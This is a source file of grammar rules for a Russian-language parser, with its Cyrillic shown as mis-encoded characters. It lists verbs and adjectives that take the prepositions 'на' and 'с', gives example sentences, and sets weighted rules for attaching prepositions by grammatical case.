rus_verbs:ะฟะตัะตะบะปััะฐัั{}, // ะฟะตัะตะบะปััะฐัั ะฝะฐ ัะตะทะตัะฒะฝัั ะปะธะฝะธั
rus_verbs:ะฟะตัะตะบะปััะฐัััั{}, // ะฟะตัะตะบะปััะฐัััั ะฝะฐ ัะตะทะตัะฒะฝัั ะปะธะฝะธั
rus_verbs:ะฟะพะดะฟะธัะฐัััั{}, // ะฟะพะดะฟะธัะฐัััั ะฝะฐ ะพะฑะฝะพะฒะปะตะฝะธะต
rus_verbs:ะฝะฐะฝะตััะธ{}, // ะฝะฐะฝะตััะธ ะฝะฐ ะบะพะถั
rus_verbs:ะฝะฐััะฒะฐัััั{}, // ะฝะฐััะฒะฐัััั ะฝะฐ ะฝะตะฟัะธััะฝะพััะธ
rus_verbs:ะฒัะฒะพะดะธัั{}, // ะฒัะฒะพะดะธัั ะฝะฐ ะพัะฑะธัั
rus_verbs:ะฒะตัะฝััััั{}, // ะฒะตัะฝััััั ะฝะฐ ัะพะดะธะฝั
rus_verbs:ะฒะพะทะฒัะฐัะฐัััั{}, // ะฒะพะทะฒัะฐัะฐัััั ะฝะฐ ัะพะดะธะฝั
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฟะฐะดะบะธะน{}, // ะะฝ ะฟะฐะดะพะบ ะฝะฐ ะดะตะฝัะณะธ.
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะพะฑะธะถะตะฝะฝัะน{}, // ะะฝ ะพะฑะธะถะตะฝ ะฝะฐ ะพััะฐ.
rus_verbs:ะบะพัะธัั{}, // ะะฝ ะบะพัะธั ะฝะฐ ะพะฑะฐ ะณะปะฐะทะฐ.
rus_verbs:ะทะฐะบัััั{}, // ะะฝ ะทะฐะฑัะป ะทะฐะบัััั ะดะฒะตัั ะฝะฐ ะทะฐะผะพะบ.
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะณะพัะพะฒัะน{}, // ะะฝ ะณะพัะพะฒ ะฝะฐ ะฒััะบะธะต ะถะตััะฒั.
rus_verbs:ะณะพะฒะพัะธัั{}, // ะะฝ ะณะพะฒะพัะธั ะฝะฐ ัะบะพะปัะทะบัั ัะตะผั.
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะณะปัั
ะพะน{}, // ะะฝ ะณะปัั
ะฝะฐ ะพะดะฝะพ ัั
ะพ.
rus_verbs:ะฒะทััั{}, // ะะฝ ะฒะทัะป ัะตะฑัะฝะบะฐ ัะตะฑะต ะฝะฐ ะบะพะปะตะฝะธ.
rus_verbs:ะพะบะฐะทัะฒะฐัั{}, // ะะตะบะฐัััะฒะพ ะฝะต ะพะบะฐะทัะฒะฐะปะพ ะฝะฐ ะฝะตะณะพ ะฝะธะบะฐะบะพะณะพ ะดะตะนััะฒะธั.
rus_verbs:ะฒะตััะธ{}, // ะะตััะฝะธัะฐ ะฒะตะดัั ะฝะฐ ััะตัะธะน ััะฐะถ.
rus_verbs:ัะฟะพะปะฝะพะผะพัะธะฒะฐัั{}, // ัะฟะพะปะฝะพะผะพัะธะฒะฐัั ะฝะฐ ััะพ-ะปะธะฑะพ
ะณะปะฐะณะพะป:ัะฟะตัะธัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, // ะฏ ัะฟะตัั ะฝะฐ ะฟะพะตะทะด.
rus_verbs:ะฑัะฐัั{}, // ะฏ ะฑะตัั ะฒัั ะพัะฒะตัััะฒะตะฝะฝะพััั ะฝะฐ ัะตะฑั.
rus_verbs:ะฟัะพะธะทะฒะตััะธ{}, // ะญัะพ ะฟัะพะธะทะฒะตะปะพ ะฝะฐ ะผะตะฝั ะณะปัะฑะพะบะพะต ะฒะฟะตัะฐัะปะตะฝะธะต.
rus_verbs:ัะฟะพััะตะฑะธัั{}, // ะญัะธ ะดะตะฝัะณะธ ะผะพะถะฝะพ ัะฟะพััะตะฑะธัั ะฝะฐ ัะตะผะพะฝั ัะฐะฑัะธะบะธ.
rus_verbs:ะฝะฐะฒะพะดะธัั{}, // ะญัะฐ ะฟะตัะฝั ะฝะฐะฒะพะดะธั ะฝะฐ ะผะตะฝั ัะพะฝ ะธ ัะบัะบั.
rus_verbs:ัะฐะทะฑะธัะฐัััั{}, // ะญัะฐ ะผะฐัะธะฝะฐ ัะฐะทะฑะธัะฐะตััั ะฝะฐ ัะฐััะธ.
rus_verbs:ะพะบะฐะทะฐัั{}, // ะญัะฐ ะบะฝะธะณะฐ ะพะบะฐะทะฐะปะฐ ะฝะฐ ะผะตะฝั ะฑะพะปััะพะต ะฒะปะธัะฝะธะต.
rus_verbs:ัะฐะทะฑะธัั{}, // ะฃัะธัะตะปั ัะฐะทะฑะธะป ััะตะฝะธะบะพะฒ ะฝะฐ ะฝะตัะบะพะปัะบะพ ะณััะฟะฟ.
rus_verbs:ะพััะฐะทะธัััั{}, // ะฃัะธะปะตะฝะฝะฐั ัะฐะฑะพัะฐ ะพััะฐะทะธะปะฐัั ะฝะฐ ะตะณะพ ะทะดะพัะพะฒัะต.
rus_verbs:ะฟะตัะตะณััะทะธัั{}, // ะฃะณะพะปั ะฝะฐะดะพ ะฟะตัะตะณััะทะธัั ะฝะฐ ะดััะณะพะต ััะดะฝะพ.
rus_verbs:ะดะตะปะธัััั{}, // ะขัะธะดัะฐัั ะดะตะปะธััั ะฝะฐ ะฟััั ะฑะตะท ะพััะฐัะบะฐ.
rus_verbs:ัะดะฐะปััััั{}, // ะกัะด ัะดะฐะปัะตััั ะฝะฐ ัะพะฒะตัะฐะฝะธะต.
rus_verbs:ะฟะพะบะฐะทัะฒะฐัั{}, // ะกััะตะปะบะฐ ะบะพะผะฟะฐัะฐ ะฒัะตะณะดะฐ ะฟะพะบะฐะทัะฒะฐะตั ะฝะฐ ัะตะฒะตั.
rus_verbs:ัะพั
ัะฐะฝะธัั{}, // ะกะพั
ัะฐะฝะธัะต ััะพ ะฝะฐ ะฟะฐะผััั ะพะฑะพ ะผะฝะต.
rus_verbs:ัะตะทะถะฐัั{}, // ะกะตะนัะฐั ะฒัะต ัััะดะตะฝัั ัะตะทะถะฐัั ะฝะฐ ัะบัะบัััะธั.
rus_verbs:ะปะตัะตัั{}, // ะกะฐะผะพะปัั ะปะตัะธั ะฝะฐ ัะตะฒะตั.
rus_verbs:ะฑะธัั{}, // ะ ัะถัั ะฑััั ะฝะฐ ะฟััััะพั ะผะตััะพะฒ.
// rus_verbs:ะฟัะธะนัะธัั{}, // ะััะพะต ัะธัะปะพ ะฟัะธัะปะพัั ะฝะฐ ััะฑะฑะพัั.
rus_verbs:ะฒัะฝะตััะธ{}, // ะะฝะธ ะฒัะฝะตัะปะธ ะธะท ะปะพะดะบะธ ะฝะฐ ะฑะตัะตะณ ะฒัะต ะฒะตัะธ.
rus_verbs:ัะผะพััะตัั{}, // ะะฝะฐ ัะผะพััะธั ะฝะฐ ะฝะฐั ะธะท ะพะบะฝะฐ.
rus_verbs:ะพัะดะฐัั{}, // ะะฝะฐ ะพัะดะฐะปะฐ ะผะฝะต ะดะตะฝัะณะธ ะฝะฐ ัะพั
ัะฐะฝะตะฝะธะต.
rus_verbs:ะฝะฐะปัะฑะพะฒะฐัััั{}, // ะะต ะผะพะณั ะฝะฐะปัะฑะพะฒะฐัััั ะฝะฐ ะบะฐััะธะฝั.
rus_verbs:ะปัะฑะพะฒะฐัััั{}, // ะณะพััะธ ะปัะฑะพะฒะฐะปะธัั ะฝะฐ ะบะฐััะธะฝั
rus_verbs:ะฟะพะฟัะพะฑะพะฒะฐัั{}, // ะะฐะนัะต ะผะฝะต ะฟะพะฟัะพะฑะพะฒะฐัั ะฝะฐ ะพััะฟั.
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะดะตะนััะฒะธัะตะปัะฝัะน{}, // ะัะธะฒะธะฒะบะฐ ะพัะฟั ะดะตะนััะฒะธัะตะปัะฝะฐ ัะพะปัะบะพ ะฝะฐ ััะธ ะณะพะดะฐ.
rus_verbs:ัะฟัััะธัััั{}, // ะะฐ ะณะพัะพะด ัะฟัััะธะปัั ัะผะพะณ
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฝะตัะธัััะน{}, // ะะฝ ะฝะตัะธัั ะฝะฐ ััะบั.
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฝะตัะฟะพัะพะฑะฝัะน{}, // ะะฝ ะฝะตัะฟะพัะพะฑะตะฝ ะฝะฐ ัะฐะบัั ะฝะธะทะพััั.
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะทะปะพะน{}, // ะบะพั ะพัะตะฝั ะทะพะป ะฝะฐ ั
ะพะทัะธะฝะฐ
rus_verbs:ะฟะพะนัะธ{}, // ะะตะฒะพัะบะฐ ะฝะต ะฟะพัะปะฐ ะฝะฐ ััะพะบ ัะธะทัะปััััั
rus_verbs:ะฟัะธะฑัะฒะฐัั{}, // ะผะพะน ะฟะพะตะทะด ะฟัะธะฑัะฒะฐะตั ะฝะฐ ะฟะตัะฒัะน ะฟััั
rus_verbs:ะทะฐััะตะณะธะฒะฐัััั{}, // ะฟะฐะปััะพ ะทะฐััะตะณะธะฒะฐะตััั ะฝะฐ ะดะฒะฐะดัะฐัั ะพะดะฝั ะฟัะณะพะฒะธัั
rus_verbs:ะธะดัะธ{}, // ะะตะปะพ ะธะดัั ะฝะฐ ะปะฐะด.
rus_verbs:ะปะฐะทะธัั{}, // ะะฝ ะปะฐะทะธะป ะฝะฐ ัะตัะดะฐะบ.
rus_verbs:ะฟะพะดะดะฐะฒะฐัััั{}, // ะะฝ ะปะตะณะบะพ ะฟะพะดะดะฐัััั ะฝะฐ ัะณะพะฒะพัั.
// rus_verbs:ะดะตะนััะฒะพะฒะฐัั{}, // ะดะตะนััะฒัััะธะน ะฝะฐ ะฝะตัะฒั
rus_verbs:ะฒัั
ะพะดะธัั{}, // ะะฐะปะบะพะฝ ะฒัั
ะพะดะธั ะฝะฐ ะฟะปะพัะฐะดั.
rus_verbs:ัะฐะฑะพัะฐัั{}, // ะัะตะผั ัะฐะฑะพัะฐะตั ะฝะฐ ะฝะฐั.
ะณะปะฐะณะพะป:ะฝะฐะฟะธัะฐัั{aux stress="ะฝะฐะฟะธั^ะฐัั"}, // ะะฝ ะฝะฐะฟะธัะฐะป ะผัะทัะบั ะฝะฐ ัะปะพะฒะฐ ะััะบะธะฝะฐ.
rus_verbs:ะฑัะพัะธัั{}, // ะะฝะธ ะฑัะพัะธะปะธ ะฒัะต ัะธะปั ะฝะฐ ัััะพะธัะตะปัััะฒะพ.
// ะณะปะฐะณะพะป:ัะฐะทัะตะทะฐัั{aux stress="ัะฐะทั^ะตะทะฐัั"}, ะณะปะฐะณะพะป:ัะฐะทัะตะทะฐัั{aux stress="ัะฐะทัะตะท^ะฐัั"}, // ะะฝะฐ ัะฐะทัะตะทะฐะปะฐ ะฟะธัะพะณ ะฝะฐ ัะตััั ะบััะบะพะฒ.
rus_verbs:ะฑัะพัะธัััั{}, // ะะฝะฐ ัะฐะดะพััะฝะพ ะฑัะพัะธะปะฐัั ะผะฝะต ะฝะฐ ัะตั.
rus_verbs:ะพะฟัะฐะฒะดะฐัั{}, // ะะฝะฐ ะพะฟัะฐะฒะดะฐะปะฐ ะฝะตัะฒะบั ะฝะฐ ะทะฐะฝััะธั ะฑะพะปะตะทะฝัั.
rus_verbs:ะพัะฒะตัะธัั{}, // ะะฝะฐ ะฝะต ะพัะฒะตัะธะปะฐ ะฝะฐ ะผะพะน ะฟะพะบะปะพะฝ.
rus_verbs:ะฝะฐัะธะฒะฐัั{}, // ะะฝะฐ ะฝะฐัะธะฒะฐะปะฐ ะทะฐะฟะปะฐัั ะฝะฐ ะปะพะบะพัั.
rus_verbs:ะผะพะปะธัััั{}, // ะะฝะฐ ะผะพะปะธััั ะฝะฐ ัะฒะพั ะผะฐัั.
rus_verbs:ะทะฐะฟะตัะตัั{}, // ะะฝะฐ ะทะฐะฟะตัะปะฐ ะดะฒะตัั ะฝะฐ ะทะฐะผะพะบ.
rus_verbs:ะทะฐัะฒะธัั{}, // ะะฝะฐ ะทะฐัะฒะธะปะฐ ัะฒะพะธ ะฟัะฐะฒะฐ ะฝะฐ ะฝะฐัะปะตะดััะฒะพ.
rus_verbs:ัะนัะธ{}, // ะัะต ะดะตะฝัะณะธ ััะปะธ ะฝะฐ ะฟััะตัะตััะฒะธะต.
rus_verbs:ะฒัััะฟะธัั{}, // ะะพะดะพะปะฐะท ะฒัััะฟะธะป ะฝะฐ ะฑะตัะตะณ.
rus_verbs:ัะพะนัะธ{}, // ะะพัั ัะพัะปะฐ ะฝะฐ ะทะตะผะปั.
rus_verbs:ะฟัะธะตั
ะฐัั{}, // ะั ะฟัะธะตั
ะฐะปะธ ะฝะฐ ะฒะพะบะทะฐะป ัะปะธัะบะพะผ ัะฐะฝะพ.
rus_verbs:ััะดะฐัั{}, // ะะต ััะดะฐะน ัะฐะบ ะฑะตะทัะผะฝะพ ะฝะฐะด ะฝะธะผ.
rus_verbs:ะฟะพะดะฟะธัะฐัั{}, // ะะต ะทะฐะฑัะดััะต ะฟะพะดะฟะธัะฐัั ะผะตะฝั ะฝะฐ ะณะฐะทะตัั.
rus_verbs:ะดะตัะถะฐัั{}, // ะะฐั ะฟะฐัะพั
ะพะด ะดะตัะถะฐะป ะบััั ะฟััะผะพ ะฝะฐ ัะตะฒะตั.
rus_verbs:ัะฒะตะทัะธ{}, // ะะฐ ะฒัััะฐะฒะบั ัะฒะตะทะปะธ ัะบัะฟะพะฝะฐัั ัะพ ะฒัะตะณะพ ะผะธัะฐ.
rus_verbs:ะตั
ะฐัั{}, // ะั ัะตะนัะฐั ะตะดะตะผ ะฝะฐ ะทะฐะฒะพะด.
rus_verbs:ะฒัะฑัะพัะธัั{}, // ะะพะปะฝะฐะผะธ ะปะพะดะบั ะฒัะฑัะพัะธะปะพ ะฝะฐ ะฑะตัะตะณ.
ะะ_ะะะค(ัะตััั), // ัะตััั ะฝะฐ ัะฝะตะณ
ะะ_ะะะค(ะทะฐะฟะธัะฐัััั),
ะะ_ะะะค(ะฟะพะปะพะถะธัั) // ะฟะพะปะพะถะธ ะบะฝะธะณั ะฝะฐ ััะพะป
}
#endregion VerbList
// ะงัะพะฑั ัะฐะทัะตัะธัั ัะฒัะทัะฒะฐะฝะธะต ะฒ ะฟะฐััะตัะฝะฐั
ัะธะฟะฐ: ะทะฐะปะธัั ะฝะฐ youtube
fact ะณะป_ะฟัะตะดะป
{
if context { ะะป_ะะ_ะะธะฝ ะฟัะตะดะปะพะณ:ะฝะฐ{} @regex("[a-z]+[0-9]*") }
then return true
}
fact ะณะป_ะฟัะตะดะป
{
if context { ะณะปะฐะณะพะป:ะบัะฟะธัั{} ะฟัะตะดะปะพะณ:ะฝะฐ{} 'ะดะตะฝัะณะธ'{ะฟะฐะดะตะถ:ะฒะธะฝ} }
then return true
}
fact ะณะป_ะฟัะตะดะป
{
if context { ะะป_ะะ_ะะธะฝ ะฟัะตะดะปะพะณ:ะฝะฐ{} *:*{ ะฟะฐะดะตะถ:ะฒะธะฝ } }
then return true
}
// ัะผะตัะฐัััั ะฝะฐ ะฝะตัะบะพะปัะบะพ ะผะธะปะปะธะผะตััะพะฒ
fact ะณะป_ะฟัะตะดะป
{
if context { ะะป_ะะ_ะะธะฝ ะฟัะตะดะปะพะณ:ะฝะฐ{} ะฝะฐัะตัะธะต:*{} }
then return true
}
// ะฟะฐััะธั ะฒะทัะปะฐ ะฝะฐ ัะตะฑั ะฝะตัะตะฐะปะธััะธัะฝัะต ะพะฑัะทะฐัะตะปัััะฒะฐ
fact ะณะป_ะฟัะตะดะป
{
if context { ะณะปะฐะณะพะป:ะฒะทััั{} ะฟัะตะดะปะพะณ:ะฝะฐ{} 'ัะตะฑั'{ะฟะฐะดะตะถ:ะฒะธะฝ} }
then return true
}
#endregion ะะะะะขะะะฌะะซะ
// ะัะต ะพััะฐะปัะฝัะต ะฒะฐัะธะฐะฝัั ั ะฟัะตะดะปะพะณะพะผ 'ะะ' ะฟะพ ัะผะพะปัะฐะฝะธั ะทะฐะฟัะตัะฐะตะผ.
fact ะณะป_ะฟัะตะดะป
{
if context { * ะฟัะตะดะปะพะณ:ะฝะฐ{} *:*{ ะฟะฐะดะตะถ:ะฟัะตะดะป } }
then return false,-3
}
fact ะณะป_ะฟัะตะดะป
{
if context { * ะฟัะตะดะปะพะณ:ะฝะฐ{} *:*{ ะฟะฐะดะตะถ:ะผะตัั } }
then return false,-3
}
fact ะณะป_ะฟัะตะดะป
{
if context { * ะฟัะตะดะปะพะณ:ะฝะฐ{} *:*{ ะฟะฐะดะตะถ:ะฒะธะฝ } }
then return false,-4
}
// ะญัะพั ะฒะฐัะธะฐะฝั ะฝัะถะตะฝ ะดะปั ะพะฑัะฐะฑะพัะบะธ ะบะพะฝััััะบัะธะน ั ัะธัะปะธัะตะปัะฝัะผะธ:
// ะัะตะทะธะดะตะฝััะบะธะต ะฒัะฑะพัั ัะฐะทะดะตะปะธะปะธ ะะตะฝะตัััะปั ะฝะฐ ะดะฒะฐ ะฝะตะฟัะธะผะธัะธะผัั
ะปะฐะณะตัั
fact ะณะป_ะฟัะตะดะป
{
if context { * ะฟัะตะดะปะพะณ:ะฝะฐ{} *:*{ ะฟะฐะดะตะถ:ัะพะด } }
then return false,-4
}
// ะัะพะดะฐะฒะฐัั ะฝะฐ eBay
fact ะณะป_ะฟัะตะดะป
{
if context { * ะฟัะตะดะปะพะณ:ะฝะฐ{} * }
then return false,-6
}
#endregion ะัะตะดะปะพะณ_ะะ
#region ะัะตะดะปะพะณ_ะก
// ------------- ะะ ะะะะะ 'ะก' -----------------
// ะฃ ััะพะณะพ ะฟัะตะดะปะพะณะฐ ะฟัะตะดะฟะพััะธัะตะปัะฝะฐั ัะตะผะฐะฝัะธะบะฐ ะฟัะธะฒัะทัะฒะฐะตั ะตะณะพ ะพะฑััะฝะพ ะบ ัััะตััะฒะธัะตะปัะฝะพะผั.
// ะะพััะพะผั ะทะฐะฟัะตัะฐะตะผ ะฟะพ ัะผะพะปัะฐะฝะธั ะตะณะพ ะฟัะธะฒัะทะบั ะบ ะณะปะฐะณะพะปะฐะผ, ะฐ ัะฐะทัะตัะตะฝะฝัะต ะณะปะฐะณะพะปั ะฟะตัะตัะธัะปะธะผ.
#region ะขะะะ ะะขะะะฌะะซะ
wordentry_set ะะป_ะก_ะขะฒะพั={
rus_verbs:ะฟะพะผะพะณะฐัั{}, // ะฑัะดะตั ะณะพัะพะฒ ะฟะพะผะพะณะฐัั ะฒัะฐัะฐะผ ะฒ ะพะฝะบะพะปะพะณะธัะตัะบะพะผ ัะตะฝััะต ั ะฟะพััะฐะฝะพะฒะบะพะน ะฒะตัะฝัั
ะดะธะฐะณะฝะพะทะพะฒ
rus_verbs:ะฟะตัะตะฟะธั
ะฝััััั{}, // ะฝะตัะถะตะปะธ ัั ะฝะต ั
ะพัะตัั ัะพ ะผะฝะพะน ะฟะตัะตะฟะธั
ะฝััััั
rus_verbs:ะทะฐะฑัะฐัััั{},
rus_verbs:ะะ ะะขะฌะกะฏ{}, // ะะพะธ ะถะต ัะพะฑััะฒะตะฝะฝัะต ัะฐัะฝะธะบะธ ะทะฐะฑัะพัะฐะปะธ ะฑั ะผะตะฝั ะณะฝะธะปะพะน ะบะฐะฟัััะพะน, ะธ ะผะฝะต ะฟัะธัะปะพัั ะฑั ะดัะฐัััั ั ะบะฐะถะดัะผ ัััะฐัะตะผ ะฒ ัััะฐะฝะต, ััะพะฑั ะดะพะบะฐะทะฐัั ัะฒะพั ัะผะตะปะพััั. (ะะ ะะขะฌะกะฏ/ะะะขะฌะกะฏ/ะะะะ ะะขะฌะกะฏ)
rus_verbs:ะะะขะฌะกะฏ{}, //
rus_verbs:ะะะะ ะะขะฌะกะฏ{}, //
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะกะฅะะะะ{}, // ะะต ะฑัะป ะปะธ ะพะฝ ัั
ะพะถะธะผ ั ะพะดะฝะธะผ ะธะท ะถะธะฒัั
ัะทัะบะพะฒ ะะตะผะปะธ (ะกะฅะะะะ)
rus_verbs:ะะกะขะฃะะะขะฌ{}, // ะะฝ ะฝะฐะผะตัะตะฒะฐะปัั ะฒัััะฟะธัั ั ะะพะปััะพะผ ะฒ ะฑะปะธะถะฝะธะน ะฑะพะน. (ะะกะขะฃะะะขะฌ)
rus_verbs:ะะะ ะ ะะะะ ะะะะขะฌ{}, // ะญัะพ ะบะพััะตะปะธััะตั ั ััะฐะดะธัะธะพะฝะฝะพ ัะธะปัะฝัะผะธ ะฝะฐะฟัะฐะฒะปะตะฝะธัะผะธ ะผะพัะบะพะฒัะบะพะน ะผะฐัะตะผะฐัะธัะตัะบะพะน ัะบะพะปั. (ะะะ ะ ะะะะ ะะะะขะฌ)
rus_verbs:ะฃะะะะะขะฌะกะฏ{}, // ะะฝ ะฟัะพะธะณะฝะพัะธััะตั ะธััะตัะธัะตัะบะธะต ะฟัะพัะตััั ะถะตะฝั ะธ ัะฒะธะดะธััั ัะฝะฐัะฐะปะฐ ั ะดะพะบัะพัะพะผ, ะฐ ะทะฐัะตะผ ั ะฟัะธั
ะพัะตัะฐะฟะตะฒัะพะผ (ะฃะะะะะขะฌะกะฏ)
rus_verbs:ะะงะะฃะขะฌะกะฏ{}, // ะะพะณะดะฐ ะพะฝ ะพัะฝัะปัั ั ะฑะพะปัั ะฒ ะปะตะฒะพะน ััะพัะพะฝะต ัะตัะตะฟะฐ, ั ะฝะตะณะพ ะฒะพะทะฝะธะบะปะพ ะฟัะณะฐััะตะต ะพัััะตะฝะธะต. (ะะงะะฃะขะฌะกะฏ)
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ัั
ะพะดะฝัะน{}, // ะะพะทะณ ััะธั
ัััะตััะฒ ัั
ะพะดะตะฝ ะฟะพ ัะฐะทะผะตัะฐะผ ั ะผะพะทะณะพะผ ะดะธะฝะพะทะฐะฒัะฐ
rus_verbs:ะฝะฐะบัััััั{}, // ะัะปะพ ั
ะพะปะพะดะฝะพ, ะธ ะพะฝ ะฝะฐะบััะปัั ั ะณะพะปะพะฒะพะน ะพะดะตัะปะพะผ.
rus_verbs:ะ ะะกะะ ะะะะะะขะฌ{}, // ะัะดะถะตั ัะฐัะฟัะตะดะตะปัั ั ััะฐััะธะตะผ ะณะพัะพะถะฐะฝ (ะ ะะกะะ ะะะะะะขะฌ)
rus_verbs:ะะะะ ะะกะะขะฌะกะฏ{}, // ะััะฝัะน ะฒะพะดะธัะตะปั ะฝะฐะฑัะพัะธะปัั ั ะฝะพะถะพะผ ะฝะฐ ัะพัััะดะฝะธะบะพะฒ ะะะะะ (ะะะะ ะะกะะขะฌะกะฏ)
rus_verbs:ะะ ะะกะะขะฌะกะฏ{}, // ะพะฝะฐ ัะพ ัะผะตั
ะพะผ ะฑัะพัะธะปะฐัั ะฟัะพัั (ะะ ะะกะะขะฌะกะฏ)
rus_verbs:ะะะะขะะะขะะ ะะะะขะฌ{}, // ะญะปะตะบััะพะฝะฝัะผ ะผะฐะณะฐะทะธะฝะฐะผ ััะพะธั ะบะพะฝัะฐะบัะธัะพะฒะฐัั ั ะบะปะธะตะฝัะฐะผะธ (ะะะะขะะะขะะ ะะะะขะฌ)
rus_verbs:ะะะะะขะฌะกะฏ{}, // ะขะพะณะดะฐ ะผั ัะตะดะบะพ ะฒะธะดะตะปะธัั ะดััะณ ั ะดััะณะพะผ
rus_verbs:ัะตััั{}, // ัะตะป ะฒ ะฝะตะณะพ ั ะดะพัะพะถะฝะพะน ััะผะบะพะน , ะฝะฐะฟะพะปะฝะตะฝะฝะพะน ะฝะฐัะบะพัะธะบะฐะผะธ
rus_verbs:ะบัะฟะธัั{}, // ะั ะบัะฟะธะปะธ ั ะฝะธะผ ะพะดะฝั ะธ ัั ะถะต ะบะฝะธะณั
rus_verbs:ะะ ะะะะะฏะขะฌ{}, // ะะตัั ะฟะพ ััะธะผัะปะธัะพะฒะฐะฝะธั ัะฟัะพัะฐ ะฒ ะ ะค ัะปะตะดัะตั ะฟัะธะผะตะฝััั ั ะพััะพัะพะถะฝะพัััั (ะะ ะะะะะฏะขะฌ)
rus_verbs:ะฃะะขะ{}, // ัั ะผะพะณ ะฑั ัะนัะธ ัะพ ะผะฝะพะน (ะฃะะขะ)
rus_verbs:ะะะะขะฌ{}, // ะก ะฝะฐัะฐััะฐััะธะผ ะปัะฑะพะฟััััะฒะพะผ ะถะดะตะผ ัะตะทัะปััะฐัะพะฒ ะฐัะดะธัะฐ ะทะพะปะพััั
ั
ัะฐะฝะธะปะธั ะตะฒัะพะฟะตะนัะบะธั
ะธ ะฐะผะตัะธะบะฐะฝัะบะธั
ัะตะฝััะพะฑะฐะฝะบะพะฒ (ะะะะขะฌ)
rus_verbs:ะะะกะะะขะะะะะะ ะะะะขะฌ{}, // ะััะฐ ะขะฒะตัะธ, ััะฐััะฒะพะฒะฐะฒัะตะณะพ ะฒ ัะฟะฐััะฐะบะธะฐะดะต, ะณะพัะฟะธัะฐะปะธะทะธัะพะฒะฐะปะธ ั ะธะฝัะฐัะบัะพะผ (ะะะกะะะขะะะะะะ ะะะะขะฌ)
rus_verbs:ะะะฅะะะะะฃะขะฌะกะฏ{}, // ะพะฝะฐ ะทะฐั
ะปะพะฟะฝัะปะฐัั ัะพ ะทะฒะพะฝะพะผ (ะะะฅะะะะะฃะขะฌะกะฏ)
rus_verbs:ะะขะะะ ะะฃะขะฌะกะฏ{}, // ะพะฝะฐ ัะพ ะฒะทะดะพั
ะพะผ ะพัะฒะตัะฝัะปะฐัั (ะะขะะะ ะะฃะขะฌะกะฏ)
rus_verbs:ะพัะฟัะฐะฒะธัั{}, // ะฒั ะผะพะถะตัะต ะพัะฟัะฐะฒะธัั ัะพ ะผะฝะพะน ัะตะปะพะฒะตะบะฐ
rus_verbs:ะฒััััะฟะฐัั{}, // ะัะฐะดะพะฝะฐัะฐะปัะฝะธะบ , ะฒััััะฟะฐั ั ะพะฑะทะพัะพะผ ะพัะฝะพะฒะฝัั
ะณะพัะพะดัะบะธั
ัะพะฑััะธะน , ะฟะพะฒะตะดะฐะป ะพะฑ ััะพะผ ะดะตะฟััะฐัะฐะผ
rus_verbs:ะะซะะะะะขะฌ{}, // ะทะฐะบะปััะตะฝะฝัะต ัะฐะผะธ ัััั ะบัะบะปั ะธ ะธะฝะพะณะดะฐ ะฒัะตะทะถะฐัั ั ะฟัะตะดััะฐะฒะปะตะฝะธัะผะธ ะฒ ะดะตััะบะธะน ะดะพะผ ะฝะตะฟะพะดะฐะปะตะบั (ะะซะะะะะขะฌ ะก ัะฒะพั)
rus_verbs:ะะะะะะงะะขะฌ{}, // ัะพ ะฒัะตะผ ััะธะผ ะฟะพะบะพะฝัะตะฝะพ (ะะะะะะงะะขะฌ ะก)
rus_verbs:ะะะะะะะขะฌ{}, // ะะผะธััะธะน ะฟะพะฑะตะถะฐะป ัะพ ะฒัะตะผะธ (ะะะะะะะขะฌ ะก)
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฝะตัะพะฒะผะตััะธะผัะน{}, // ั
ะฐัะฐะบัะตั ัะฐะฝะตะฝะธะน ะฑัะป ะฝะตัะพะฒะผะตััะธะผ ั ะถะธะทะฝัั (ะะะกะะะะะกะขะะะซะ ะก)
rus_verbs:ะะะกะะขะะขะฌ{}, // ะะณะพ ะบะฐะฑะธะฝะตั ะผะตััะฝัะต ัะตะปะตะถััะฝะฐะปะธััั ะฟะพัะตัะธะปะธ ัะพ ัะบัััะพะน ะบะฐะผะตัะพะน (ะะะกะะขะะขะฌ ะก)
rus_verbs:ะกะะะะะขะฌะกะฏ{}, // ัะฐะผะธ ะฑะฐะฝะบะธ ะฟัะธะฝะธะผะฐัั ะผะตัั ะฟะพ ััะตะณัะปะธัะพะฒะฐะฝะธั ัะปะพะถะธะฒัะตะนัั ั ะฒะบะปะฐะดัะธะบะฐะผะธ ัะธััะฐัะธะธ (ะกะะะะะขะฌะกะฏ ะก)
rus_verbs:ะะะกะขะะขะฌ{}, // ะะพะปะพะดะพะน ัะตะปะพะฒะตะบ ัะฑะธะป ะฟะตะฝัะธะพะฝะตัะฐ , ะทะฐััะฐะฒ ะตะณะพ ะฒ ะฟะพััะตะปะธ ั ะถะตะฝะพะน (ะะะกะขะะขะฌ ะก)
rus_verbs:ะะะะะะะะะะะะขะฌะกะฏ{}, // ะฟัะธ ะทะฐะฟะพะปะฝะตะฝะธะธ ะทะฐัะฒะปะตะฝะธั ะฒะปะฐะดะตะปััั ััะดะพะฒ ะพะทะฝะฐะบะฐะผะปะธะฒะฐัััั ั ัะตะถะธะผะพะผ (ะะะะะะะะะะะะขะฌะกะฏ ะก)
rus_verbs:ะกะะะะ ะะะะะซะะะขะฌ{}, // ะ ะฒัะต ัะฒะพะธ ะทะฐะดะฐัะธ ะผั ัะพะพะฑัะฐะทะพะฒัะฒะฐะตะผ ั ััะธะผ ะฟะพะฝะธะผะฐะฝะธะตะผ (ะกะะะะ ะะะะะซะะะขะฌ ะก)
rus_verbs:ะกะะซะะะขะฌะกะฏ{},
rus_verbs:ััะฐัะบะธะฒะฐัััั{},
rus_verbs:ัะฟะธะปะธะฒะฐัััั{},
rus_verbs:ะะะะะฃะ ะะ ะะะะขะฌ{}, // ะะตะดะฝัะต ะธ ะผะตะฝะตะต ัะฐะทะฒะธััะต ัััะฐะฝั ะฝะต ะผะพะณัั ะบะพะฝะบััะธัะพะฒะฐัั ั ััะธะผะธ ััะฑัะธะดะธัะผะธ (ะะะะะฃะ ะะ ะะะะขะฌ ะก)
